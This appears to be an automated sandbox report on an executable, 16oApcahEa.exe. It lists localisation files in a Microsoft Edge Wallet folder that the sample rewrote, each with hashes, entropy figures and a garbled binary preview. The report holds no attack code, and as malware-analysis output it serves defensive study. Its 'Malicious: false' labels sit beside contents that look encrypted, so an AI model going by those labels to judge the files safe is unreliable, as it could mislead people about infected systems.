Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3615
Entropy (8bit):	7.9585279556612605
Encrypted:	false
SSDEEP:	48:7NHc+PIYIkJ9FsqaO1JYXq8Q80DkGHNyIMUiNKXzh96SDK2RxqBknZelG+08fQAq:hcyrIeflpkGHNy5s9r2xBASGJ2Fs2u
MD5:	29A7A205089EEDF9C90F54D7B755A145
SHA1:	286F5C0E48F828BA2C323185EEBE6F5F15191CE5
SHA-256:	521B9FF9C494D020FE2C62DA9E435D62C27D420AD77D4B2B7AEC94E82CE52F14
SHA-512:	F89CE5FEC1B6D0DE4BD371383A528D693A7589D0161EE3D8D693714618A5640447E6CFA6A7DB50CD94BA430C6CE8110A9D8FC51569C5734BC15381CC66255242
Malicious:	false
Preview:	{. "...[A".M..[QO"6..>Bp......k..v.<.B..p.0.173(...R.u.L.^... aW....r..........j07..f.....,......)...p'.../7..Rl...D.....\|...].y.O.{..Y..cS.GO..+........ .$.4sNjK.r.....W.....X.Ob....>.9.........a....?.)^4..2.Q".<..(.5P.....)I......(....3\|.-..........[.8.{._..Z.6.....N...cp2O..0..5s..uaj]<`...{.f........ct-l.;/..%.<X..D..d/.\)..?.cC.j..A....B..-.?X...?.3.D..h..3.5.c..d.El....qZ..`.PT/...lO....r..;X. zQ.........c...._.Z.K......5.R....@yjG..x?..V....~..bX.{...E....;m.r....h>......kR..........(.OR..........o%o4Os].....\|.........Q.z...S.....E..oeb.......k}..r#Hj .d..>D;.T`.}....L.>....%}.....2.z....D.......^..n.^}g..S.n...i...o....:...4.=..:B0Y.[.N........C.......X..3.5....E..~x..j.B}.Tm5...\|oqYw..G.d.G....>O.....S..pQ...[...........^.SF....&;.j0#....bQ..X.G.m^D.2H...7....}(8......wg....o...`..)O....~....=..Nt'RM..5....60..f...Y .AB.5{.i.....wA..-\|.......-Y.c..+CDhy=`_.Q4.I...U.3B..Kn...'....^8..z..B....K..t....;.e..F.R5.......).

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\nl\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3243
Entropy (8bit):	7.948171698585017
Encrypted:	false
SSDEEP:	96:r2Y/iE2e+BvprxF39ffNPVWmPWl38Ltt3gf:r5ge+BvV/xffOlMLttM
MD5:	8A2801217E09CC6730F3809753605F66
SHA1:	B61CE513259AF1CCFD418878306D126400EC7BA8
SHA-256:	FE325C0A102776AF7A3783EB75FC6CAA9EC14B408C772F2B5C47D2AA58C2F93D
SHA-512:	E812768DC1FD320CA8CE3300A06775E9DE9D642B202E957F55C2A82B791498F68AC121F32F3A0F85BA582B82236F2B40B86B137B127BE275207F36F92E8B1FF3
Malicious:	false
Preview:	{. ".....5..{..c..\....;4.....?...pz..o.L.....)-......Q.......Sp."WD.O1"..Ah.0g0..S.x......1d.E.....'k.9.'\.;)....z..m3..u8..........!..BF.t...9".....o..`.a..Cy.b(D...b%.y.w.p.6....._..7H..3A..%...>...C}S6.m...q.85.M0...C.s]....Q.<.2.Nj./z....W..."...kh..'k5.._.......H.z...{...g...+..5i(;z.B.f. ;...ps[/.......@.F.6u.......@5.A..f..."..A.A..1.qJ.....&.-...%M...B.u...;..G``..mV<.......LK......$....u.3.....a...,cR..F.XX.......7..;....P=MYh._,O........}.U....<7.......X.:t....FmI2.B....."..6.........]...@.Q..t..g......$'XG\......Z...V.C.#.Y...6.N...N5U.[.4.....Z^_..O.............&\|."....ML..@.2.~...c"...alz!fr0.%>o.?,..[.3.$0...1D,b3...A+.....>.`.q.BG.e.3i.q`OG:Ll..D....T...%..J.I.......M.SS.Hl`...O.5./.}.S..v)...;j.OI..7uN.........L[ii...W..f..`..?}....?$.9W..S^.m.j...,....s...\|Zte....b..#..=.ydEli..w.].2..@vq..V..,..o.X...J\|...\|c....&..f.w.J.....)...D..(.@.....3...X.U..!.R..Z3.[..&.#.......B....d...N\.])^..$.......<..L....tp...f...&0c.+~

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\pt-BR\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3190
Entropy (8bit):	7.939143757540728
Encrypted:	false
SSDEEP:	48:VyTO6e73kqbPtRMuuNAUTJanWlfl0Ya5XYuHfXC6UHYNQyKv9Qq2xti+qloJTW9j:kOz0v5NCnSOvHf+Y+v9Q/rqiJKqlPdU
MD5:	E6BCC1DEDEFC3FB15DD7FFF07A46C339
SHA1:	355F55477AC10D4A2A5B04FFD02DFA7B589332E9
SHA-256:	D138D4827ABEC006A4B9C0226E0C63F6DEFC071F6C21A407F7BFBF425E80608E
SHA-512:	85AF0C2EC51E388DE8832B4EB7C824E00BF84FB22F132D148B7F50CC338E1B7033C42E7C642E86BC43DDAC6004C5D89B130D64F83FC539D6072B5C1DE4804ED4
Malicious:	false
Preview:	{. "m..]...P(+.n4..2>F...$.A>9M.!......j..U...4...?b..y0iA.F=2.. ..y...7S..7gQ.A......d.T.-y.]....2u..AF.....g.p...:.!...I..'x....<....v......P2.L\|P4.K3}.6r.w.w.a..q._7.;.......I..GJ..=.b.&...P2>..E+'M....Q#htH...:..P.hf.%..H=+iF.....%......j.@d.4z/..`.K...E..?pC..$...Ww..<.....ujc;....w...'.u%8J...Sf..>..Q.{.+.kH..b...mO...qk..../....C..wRdNUh...uT%d.WKG..M.....S....}#}.cD.....G.....47.Q.(...0zT.}...!.].......Z.L._.c.w...6..Z.Q...?..E.)....&........+.._.....?.m.;..d...j.!....N..h.....?.q5....j.Ab..\|..aT..J.....(y..6..W..c}.U..Aa.T..x.."............7.\|w...<.....A?...v.Vp..K.E..k8...)a.g$.G.(s...0+02................zj$.{)...\|.n.1.......\D8......:..$.....g....<.d.,^..U2.0:.......T..M!.=ZZ...U..O....l....<...)o.6.}!.'....p.1..dc..-......i.5...K.&....\.,...h2..j).......k8:.#...t.nA.V..m...R.....3R.f<.V.....w...w........w..s.'...G.I.g(.~q..!..r....:....f..B.S.LIv.."..p.R..".Hd[..yg6.g...."A.g...(...Pb...d....Kg.......oU..b...5..N. '.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\pt-PT\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3300
Entropy (8bit):	7.935950724861245
Encrypted:	false
SSDEEP:	96:F29SzXUSoMLKtejyHcpDuEsypmuHs+JEjJ9L2cFpwt:FNzkSoMW8ehBypq2PcQ
MD5:	B006F6C7F8356DB76A40783767EF5905
SHA1:	A0DC28B2557226419CCBA47AD8F8EA5A13BAEDF8
SHA-256:	F9ED636C55D92EEA7BE947B56BE7468E91EB8E9A62D2C2A925BF310DB9D5F0FB
SHA-512:	7AA79AFBB0A18D170E08872B5BDB11753149B5FA846B35BD893E8C54DF9E85B5DEAD63971E7F43079FCFE7FEDA1BC176AB4AEA02433F7637F436E958B9017388
Malicious:	false
Preview:	{. "Jv..4..&..x.......#tq..~^..m..Y.^`....'E.q.n.g.)..........4B..4..v../..x.:p.MM......i.Y....d.@F?..{........fMW.!..5..(m6.$.....\.5...x...'ce....=-......T..{.........?5...s..z.,...Z..?xQ.. .k....`7...........Y'.....s.....R.K....!..Jf.3...u.i1.......(b.8.4@..._..A....08..;U(.`.^,.<.3........W.".......R. Kf..ZNP/g4..].}wB..h7m:..q...-A.v..,..?..um.E....%n.s.d@.?...4..;7....8K.....6XGEt.I...H+.dIsP.)R.S.`&..Tb.N.u.#mr%i..'3jD....?0).FC...mf...X~.=[G> a.>....R..W...3.2.....UL...}.....-..5Jh..!3.B..S.",.Q..O[..0...~...3.R.qP.f>)%....e.!..2.0o.V.F.~..r{5.T...Ps<....8.%.]....7.K].V..l.......X........i..L...[[.I._0.f.....(Pj.xRs.T.5.w3u...........EL..3A....(+..(...>.E#.....<oN9Ue.>..i...'~[W.C....L..{-...M$.x..`..\|X8.v]~....7.k.a.R..VM..U,.g..]y.".x.^L.......3..f..m/..}..S.......D...mv.[e..w..y...3=.\\|.:ug}D........jo&..[..K...._jyf.+..^jx.....?.=...N...C8T..-.]C..@.w...=.......v,.y.(..c.:....EE;.Zj.=O..r...@0(.}...(..?!.$q{Yc...Kd.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\ru\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4040
Entropy (8bit):	7.956680730064192
Encrypted:	false
SSDEEP:	96:Uv2+PLMhkO4VEnauPtpWt5TOY6DjLLWFQq2emYLnM0BazqAEN:/iwp4VErpWfOY6vPWFp2ArMAANq
MD5:	2A4FABE7216BC7DA0B2DBAD625CB2477
SHA1:	64CB8B0D1430E67D6CAAD5E565BD7DFF33E90DC4
SHA-256:	6C0463795CAAA3B27486E59B460C735E97F7ACA91A52CEAA9B3224D8496E5F21
SHA-512:	8A42A210F4169CB728D54C2B28875E1E390672A18E80171A134CF6535951EE2B122DB6D252009C6D14D5938DB1D7298991303C4D19474EA9B95015CFCDF63034
Malicious:	false
Preview:	{. "......._tvhr".L.r(]/......'.l..N&.(&z...../...K.M...\Q..u..a"'.FsKFA.R.............$l......C.....A.4..K.<...5+D...es.,+.D.!..1..-`5..b..v<..E.F.q....Z.r..N.O..y.;....0./.w.M......Q.:....X0....(...7..\|..^.....BP..A.....Gb.......\|..;..F.....0..I...F......?..S.Z\J..s%h'..u.V,w.....HR..M..?.......6.i..b....=3...CKlkb`.-T....eJ.KR..5.si....?.Iu.1..e.T.....Z#.QJ=h.F.`>.....N.T.w.."...@6.#...B..<.M..._....H......m...q..v.2...1 ;.B.=....ao.+kQ\|`....".w..C iYBY.......(....\.....`...D....}..+"...je.].<...fz%...]..a.#...s..@&.f.\.D..Z......1r.v.....w....O.....)..(o...<.&7X.(........F..s%.P.IL.N.9.&...I...........8...}..#......m.Ot..\.. .p.x./....TY...0.n..a...e.b...:g.r.myZw.:..t_.DQ.._...n.[..A*3.PM(Wdz......f`0..8.4...0Mf.:.B....]....{.-.;..-."L..a..T{..M..r6....).&.T..H.6.`.........[^..^...Td.RZ..vp!.8.;....D...n.R5I.v$}\.../...>.R..x.u....E..-..Zk..'N\.s!..o...v..X......)3.=....5.+[...G...Ly]....Vq..#.....{..d4%.o.^.R..c?v......=..I.P.4.A.S

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\sv\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3179
Entropy (8bit):	7.933304239684672
Encrypted:	false
SSDEEP:	96:YrmAKA47bFNAXq/wMqBPANU+RxZrvDybemJJ:Yg33UPANHD2emv
MD5:	638BA7DABB6F2B7A398C247D4B1D83F8
SHA1:	6A83730F0D27CB49FE08F0CE649678FFBDD6B779
SHA-256:	877889A26530BFAB4424A84C01CB95F9074B30B932419D8AE051CCB4BFB24AC0
SHA-512:	46E65AF4F6272A245F719F6B5DDC6B0C50B7189EAE685401B682438110EB7E53331A1D9259E960E5D3675118A3747C26FE761489885CF5E4706C812A51597AB1
Malicious:	false
Preview:	{. "..Ah.....YzZ-C.`..JCL....'c v..-..U.;.......,..{.....gc...5]..Y8...\|jeX..Z.o...c.#s.........j....../.....5.DD2.. ....).....%O....'...h.'7....i.../..^.1.jl..wt....hy.Q&...acE.E?5u.D...6X..t`.(s'..k..}hO...\....g.i...i.6..X.}&.!{.......c.,.o.\..4...q6L8...^.a8.t^1.q.Go..d!5.a...H.b.u-.7.../'0.~.r....-..u..nO.P....T...7%...<..$....v.J..(..0.3}x.......)..W..g{A.-....]r..F..<.k.;jB.V....5$...0YbA....u.w<.+.uw......8.<...^......FK....."a..\...c...KZ..5(.2.'....p.[..t../4..u.XR.....Doe.iO.){...K....`..u.}....K.q.p'}....A2..r....R..N30..Z..7.\.Am.....d.Z........h..f....^.zK...h...I..vK.)..3...}+6...s8..o.8....t..........2.._N..1.o.<.y....'..sD...Z..$p..X.G......;v....Q.SS.g.`..%..p...G\.qh......BniH..r............_!=...d.@ykO.......j.\)..i.....].M..g.u.2....mpzV..]....I.v.L..(..5....M.....W.To..I.5C.....i<.L.9.BQ...r..?.G...h......=b3.2W......6..p.E....Ag,..a<.;?.....%.W..1.......M..].J.\....S.O.[....I!&.7Qj....{a.m^..F.j..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\zh-Hans\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3047
Entropy (8bit):	7.934777064393629
Encrypted:	false
SSDEEP:	48:ZdQG4gOzwCSKv5RGujLYwAIFOkszX4b68CB/g76t2jUOESWyqE1RWJD:7Skd+5RGEBTFOkszV+LjUGWy1Q
MD5:	B7EC87B1976D54C546990901E0E2CE74
SHA1:	E67423C41852BEF9CC769125A7924F7ED0C21B1A
SHA-256:	0E8DFF1FE599C717F35B19E9579C2BB064B7BAB77BAE5375DF2B5483440866C1
SHA-512:	C7C771C5027A1BE5784C5737E08DB57247BF762C9DC4D7009BC90BDC8AE74BAB3376789334A6F6ADF120F578AFE5CDFD3D4D7735EABB52EAAE0B7E0490DEE293
Malicious:	false
Preview:	{. "]..4...f.4I...3vt]QD._...IX....V.e'.N#.A.z....7...ZR..ble..}..i..{........gVW..a......j&.Xb........\...}..w.%.!.X.L.U.0.0sNB..;...2x.N.D..H...H.@~_..?.>..(..}j/g/K..v.uJ..+............y<.m..$...7...P.k.u....~.H0$...L1.W..RM........H..?).n.M....9TJ5..k/....<7^P.....\...hu..........0.y.7'R<..V..P.".....A..Qnp....i....U..{...4.XO.%n....~.<OY..r.V....Un:UUM.3..>..........W.%.r.e..na.6.;^.m.....:.f.(....OI.a..f.&.r...[..[...`.!....T..rW..dA.n.jq.u..:.t.5....4:.L"i...k..D.._{....e...g.K...`...y.L.H...y:..o.Mo@..vP..y.c.......)..X..N.W..`R.Uk[u.......j)........[.(H.T]Z..<G.&X...........<.B...RQT.G.T....A..CV..l%.6..F.P.-0....E..$$.w:`.\|Y.a......Q-.Jt.U...`.bm.....q.A.....S..t.R.....F.U.9..uY...e.....)...z.-.:..!+..,.w..V.`..i.I.$b..{$.....I..+.E f..u..!&...m,.T..1.'..4v..1.)..?.....0....~.rv.....b._.A.7O..I.q&..X..7..K.b..S#.A5...HX.}z.NfI.n.ADd.J..~.S'..@gB..?.c[.n.`y).......r.=N.... ...9+.N.,k..i?BK.}...n,4.g....1...R. .O.........#N.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\zh-Hant\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3045
Entropy (8bit):	7.936181207761494
Encrypted:	false
SSDEEP:	48:9UCbDKUt6uw9S+U+ueKVwSy0vFC1SdTDBAlbQOtFv2EEj6EjxRpK4qrVH6k2C5Hv:9UYFXw9ScAVjvFC1SdnKbQOtFvW6E9RI
MD5:	F7A2D763CDA1486284AA9F1273424583
SHA1:	7D0D2846364BCB6657B06E71A99CF9918F4ADB6F
SHA-256:	3FDF3D25267B13F7F41F2EF4FDE6DA50CFA960E607BD49657855F1B1674EF07E
SHA-512:	D0F233D3BC480260F32B762D98E2AA11E1C9D3ABD68B2B14C26335DB25076D2565FC35B406C5DBCD75CDBCBABAD1BE05049B13765B8D18D8E6CA5AC1C15684C1
Malicious:	false
Preview:	{. "........i-.'..u.E`..zP..J...B;.X...D.....$B..K..\|.].T}..7.......X..xW...Z..... c6....T.y.\|..(.......8...T.^e.`.S...'..H..].^k.`F.....X.O_.`.Q.=1..]...../. .^...P.`P\.....4 .nE....g.......D..c.H@... .i.'9...Yd!B&2.K.....#....A&p..K..,3w[..V.)W.j.m..d.Z.%.L...'..-W.8^...I....N....&.r`#..:.{..CZ;.R...k(..X..KY.....-6P.!...7.\5.>....I.b....2.....w9._..5...A.5Q.i......R.. ...<.(...%,+.n.......s>aP.V.xU..........0s.(l.4F:.s..9.}....X_iP_....}..l..r$#..>.6.V...Z.......c.....c{1t..@4fL.(..`[...$......Uh.'....6Gz..r....7...\.T.~o.....j..8!.;P..P.y...kV.QG.n-r ......'.f._L<{K..C.....o3-..A....M..S..2....c..J.T....0P$%e.g.}.[B\..!.Vh.......K/B.{...V.c..xKhk..:Ng.U.h$mG......F.......(.>.z..,.5!..i.....!...4.l.p.....]..#....H..Rm.B...e.3.z./'N...B.2.q.A.....%.;...\.n.........-}[..Wx#....{.Bd.{W?'.........7.!..?k5..s.#'m....i*.!&....h@.{d.K.\|...v..tE.. ..eJ..:..>..a..3.> H+..x.gAu...c.!a.E....s;.;..........v....[.R.)b.9=...`.P..:.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\ar\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	7056
Entropy (8bit):	7.976161829427364
Encrypted:	false
SSDEEP:	192:Wgiaka0IGRn4YIZbFOySfmTvGVAfD18VNOR5F:WgzZ3Un4ttFnSoCAfJ8VNOB
MD5:	6DC602671B2FECE0C5DDC545C68DC5D6
SHA1:	9874781D505B6D27E9F222097D0217C87C3985E5
SHA-256:	499BC6BC9092256578EB9A760E74223937A3D84A1B189A88160A206CDC01F334
SHA-512:	CA79EDA82B945EBC10F32186E677BCFBA81F2B0423C30B2CE206E16909AA747816A5603DEA3E17E541FB83ABC1EACE27FA5142C6984024600F3D13151FC50602
Malicious:	false
Preview:	{. ".....w.]y%..%6.....<.<....,.oYR:9d..4d....6.m....<.3....o..E..:.....A.8"[.8....-.n..,...@f.xc.R.e..y... .:.../Z..p<...L}..\|j.1L.z.}...c.I..Eh.}...]..z.....>...\...C...x\|.G.{..4.....g.y......!P....["Z......L+......iEK8...).B.._.uN.'...Q.`[M.....Q..G..P.v...........:.......E..~<.{...Z...$.?>..#....J...'..W)7..s.a.L..........F.nc ...1.....G..no..Rxkw....:..Y..D9.p.sB...).......VN.}..r..4H..g+X.D...Y...0x%ipR.C7}..;...c._.o.5@..2.)...>.+;.Qp..z....{.B..f5.1..(...$P..%\.~..)..r...4..SALW...Z.l.5.{f.....RN.#P)q7..8....a.K.`7T..N..ah.+\|..r.?..j[.;,.m,....;sX.</]k..F..5I....s.U.../.K........H.y.... +e.Z7....(.3....[..4..c>8..H...bq.?5....Z...!4..-?.L..(...q46h..../.2..s.&2..#...DY....k...2K]b..tj..e..}.Ca......2?...Y.+...z..p.K..5sQ.....cGW.....) .Z:wn*w^0.n...a....7...%:Y.X...;J.........R.3..63^l<spKZu..My..X.G.1..W.L...x.5.....`i1,w.Q.d~U.7...w..@.........o._..\|.l...p.jlUh..R.0...G...o...0..a...=RZ.......(..[)....Km..^ar............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\de\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	6081
Entropy (8bit):	7.965017680882235
Encrypted:	false
SSDEEP:	96:eFI0QAasLLXAGzzz3WFJAajqV0D2DXvRmnLjMJjUQLI1+D+pl/yR4uA4:KIoasnAGnqFJRWVoGvRmLjEUQLIoDK/Y
MD5:	1D778AB184FE92BF85511A1ABBC6E1FC
SHA1:	A39362EB039DCB086BCEAEAA2711BCD0DB72D25E
SHA-256:	68C070A2EEBEE01A19E00930ACE8123C587059C675866FA10FD075373CD98398
SHA-512:	055C6ED795B2DB0BB3BEDB0FCFC65D979FE2DAD8F66C7C22B7C0AAAF1EB03BDB14F1511C7AADD00A02CC3E6E69B290CA980D6803DC0E2935B045023758992D0E
Malicious:	false
Preview:	{. ".\|....P....]._.ci..O.....p#...;...X9!.uUV.&.X.rA..._N.....aX.]..^..V#.;.B.h..<f......P....MLt.m9.7....a....a.c q..Z...+.........2..@F..\$.._"_V)d......^P}....j..7I6.k_..O.j. G....Z./.f...-..U."O.n..B...-!9...PE.`.]..f^9._.....e..0V.m%.B..L5(.'.F%.... !.jR.=.qq..Q.~.p:..T..;.....(.(DY.1.E.....E.'.d...@-..x.,..M.}.W..?...xe.W........[.t._3........wp\|.....e.%..x}...#....=.z........Y....m...^..@......4y......L....,W..3p...<..-`\.....g^$.!7....gr...hp.........~.....N........."9...c...9G0_8.h..Q{z.;.4.....5.h....z\....d..}...w.9...7.2....z..P.........B....@.m:..@.jC...2.%r<"......%...j...t0Nh9.9.A....."S.N.....)^..rF{.:.edbs....(4.....P.f.....m..cvg....F...T...G.....,'.sA8u..dgN..7.C;.z.,..=t%......S.c.t.Od.QS)..t..m.4}....mM.m<>.[.G.J.@Y../.\|.K.........k9P.kF^..G.A....f.N........3M.R..md..".u...S....m.2;.Yb...\|.........+.[.d....(?......,.~.^wLD.J....G...f.XU.X....).TE..`..uM.. o.%?............]...^.N....._.....{..ti..."...?...f+.t.6d.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\en-GB\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	5390
Entropy (8bit):	7.9639602416136634
Encrypted:	false
SSDEEP:	96:c+ySvdXLnZboC1My31mTAbRIZ+bbLyy6e55KTwnj1ScXVJ9nXQT/:xySRnKMT1m0GkbbLIC2wjgYaD
MD5:	CE9FC30C12BD300184C38282D009691D
SHA1:	B74DADE5CF888A30336B7981EA322D24F2F6A74F
SHA-256:	482778DC1B7470D02B157B7953C26E58AF4E5B5D7B4BF01B110B55B1F41946DF
SHA-512:	F33E27531235EF9074BF1CDB4F99CB8B9863DCDCAD98E44503FE1C450003761592A7B5EBF60357E79608E9F2949995A179FF7A678F177A71E1431F8DCC21902B
Malicious:	false
Preview:	{. "...H....U.A.....T..(2.?.ooa.\.."..^.V..K.0A1.z#i..#..`..3-...a..UsB.Xq...l........V=.....Q.'........\|m....(....h.b..L....>b.V.W.rw........Y,.WY[_.J..LL....j....XrZ...-1y..l......qS.-...g.!.Q.(S":...\.......g1...m;c.....63.x~..{...]..a....L.e\|...(g...;...........w.k^.,.j..r..ma../.&.bX~.1F.H.e<...7)DNn5.].......r.lL.b..B.>!....M.._.S!..P.~.(.(M.f-..J}K.v$E..Y...4.$.h.,.~..H.>.@....J.-...:.1ayY&..AZ.....k..2...4....v......a.(.\|...1s.zC\.X..%.m..#.a.!.N.PDn^......KX.j.L.P...x.f.?.Z......;>..~.\|.nt.K..u......T...MR..!N.....K.R..o'..H.."..*...M4.+.m.k#...M..4M.........6L..a...[......\|0....`.e,.<j.y#..)....i.h.)xG.Z.....U........`S]..x.ki.#3...1>.9....j........_...m...T.r..cN.`.g.#.....Z..x..c.mF.s.P.`m..F...C.z{..U...N.....<...+..6.B'....g......cl(.-.`-......X..s.A1.>>.......J"..K.X..h...9.M.....}....V.VL.U.u.+.c.;.#wE............vo..m.'..E...,.gS.s.3....y....s!.AE.\K.}S.:[...vw.0...S.2(....P.....d<..6 ..TM...,._qVP.....0jh.n..t.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\es\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	5902
Entropy (8bit):	7.967938526220894
Encrypted:	false
SSDEEP:	96:BAFZYbFzF5i1uWoufQHvLK3R4MUcR3Es1qdXihj/+ZeYbltArXzROtgTO3A+:BAXGU1uWsu3R4IEs+Aj/+XTA7zEg63A+
MD5:	F09A742C2815338042C42DFF35FD5EAB
SHA1:	6AFDEA5042CA13F6F09F455F41EF30929D302E99
SHA-256:	C817EC13C2C68A9BA8357A8861F4E140C7A5C2D0C23F8388DF1B92E7CB921721
SHA-512:	5045D4056190284590E25CCE41D778A928BA5F54E56665739218302E6BA05CB13B85A9B21CC847E087FEB91A5173F9CC91E327C8E605AE81B02B69D7FDB567EF
Malicious:	false
Preview:	{. ".j.u.K.k#..........;..tS......".g.H..R.\|>.M.8j..,B........w8..l....W%..f&n..W.F......?O.X...\v......u....<a..vX...c....!.3'....,`%^...^...v...?..\|._.l\|.D.Z..E..d>. .-..L..W)."C2G_g...y......(ZNA..8.C..c.<1..CA.B.....`n...E...N..X....x.....w.n..$.....V..()89-.%...f...q....w"x.;.%..6.7...!.2ZwP.~..>.AS.....4.Q6.IL.I.1P...r.Cc').......D%_.x.0.).......[..W{P?t.e.d;....Y..[.U.UU..c6.y..Bk.7.-G../K....s2.6E......QoT...6.GX...}.<..?.L ..Rt.o..Y.'...#......6....._ek..2..Sz....F...V...,......JM...s(..>.0V..)N.F.....q....~.^...u...N:cL...[....tl..b.w\.....f.v.8...2Cox_...C...s.C5.c>..1W......y.....R..g6H._{..;~.=..D...S.V...............O=M..;.P.2>Z7...lB+.N...8...C.l.....1s...Q\|..~m-3.\|.w.2..B<pM..g...9.D.P.K..}...v...Cw.W}].v..Z...M^..S^.w.M$.......e..R.S..(]."!.m.{..m*......=.....i.....$.o ....+...4..t....!..,....T...HS.N.. ..`.#9.)..o..>........$..\9;.W..........i.t<.8H.........@/Y..V4-...&....k...H...&...Nd{...1b./.Dk....F..H..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\fr-CA\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	6225
Entropy (8bit):	7.970930226753041
Encrypted:	false
SSDEEP:	96:ArvDA4CYUaCt/kZ8iAOz7Fp31nCfPBYDRtK6G29RYLHFdVcSn1utf/HFnG9DwekQ:Aw4Zut/i7FnC3yA69+LHCS1utlGx
MD5:	B3C7094B1ED83DBC13B8F93C5C8A8BCD
SHA1:	D0FAE173C9AB2277BE55F82436664382748473A6
SHA-256:	3D31F091702D205DFF09E75A7D30B2B438D9B38B029419D48F14904647940650
SHA-512:	3BECD0EF226C8671281EA1C4514FF897B92A2EE495C065B99FF7FE6AB78DCB61ED22A2D387369F3511C79AF2DCD7A2EB17FA51F055E900DD86E56452CEAB4EF3
Malicious:	false
Preview:	{. ".n..\|..?..G..Y&].........~@....9v7...@..I.Z1.].sx@.g.;.X.!...Ji .@&.!.x...77..&....o..>v..."...!..x.@8.1.E.m.(..XT..'P.-L.....)........olW....<4..sg/....D....>....9........]e.H....`}....J...e...j.......q.ya.......K.D.#.~/...#.^$.f.J,. ..E..7....=.Ws..$...^.....)J.t.....Zy.5.q..%.W.&....S..W;..V.m.R...$.W....2...!.....~.\|....r3...?..9...Y..Q......j..`0.A$.....$1.=..H...3v..l.:...%.tC.Xf.'Z..YG$/-..U....Gq~;.W... /....H..F.."~.Z).Xfy....W...........e~......89..W(.D.2S9....S..I.i..Y..../..Qv>Y,....:...Wh+......k......"R..S.....Q...m..T_...zM(..'....Y/....L.&]....$..rB.QV...fp..wkg0..\|...!OL...(.T/S..5....`lE.R..Ew.t4..\|...c.z./...5..N..6.......S6.C~v..X=...o./.....1.z?.B..KI..;6.v..0n.r.]o`....z%.$.....~..MH./W..2......T`..+.4'.../>.Y....z..m?......`...........=...U^.%.....O...nWz..=.l......J...Xp....I.bLM....$Z.Yk.;...R...=%...0..o...<_..r.m..h......Z*em..e..[....KN...K~.C.V..6x...p......3.;.e....r\.H.......y..X.L..1..7.R..~<Z.Gk

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\fr\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	6225
Entropy (8bit):	7.973850844483143
Encrypted:	false
SSDEEP:	192:HDDy4EnPPexN1UB/wd11dZ2Qib4suBn+ZJ:ny4kPP8NK5wp72LjuBns
MD5:	C76E7A5335DCBCAB8B39518411D2E851
SHA1:	E3B5564F32738274F0F473A80CD473D9B848776E
SHA-256:	1AFA22B03794DE48245DCE9011C9742F7F345D1D3F0D923F984D88D6B3DC4F20
SHA-512:	29AC3676D0467F6980664820E0A4602C0B78238E6D951D4BEB6A8ED4E748FDD7A17448C87B7A5367FE62FE2C2DDDC7C77284EAA232C758D198F5DFC16513FDF4
Malicious:	false
Preview:	{. "......\.R..r...1hM...{v.v.Z7....R..'..Y.s..........N.v.w...x:.X..v....$P......&6..EX.#...nn..'....O.'adE..b.y..4....\....z.mc5....k}..9k.;._...G...d}=......`......\..u . ..).;.D.`kI7g..>y...~.=.+}.'...9.+.c.....(..9.....8.K'.Z..0..%%N......)y...$.L....:U@....KK.Q.2.p[.S...c/....U..T.$C.].K._.%._4Xo.E....B.?+.....X}.......>s&Z..qwN8.)...`..q..r.@./....(~.y...$\|]..bf./!A.\|Q,.-.s..).w...q<.^.......H.U 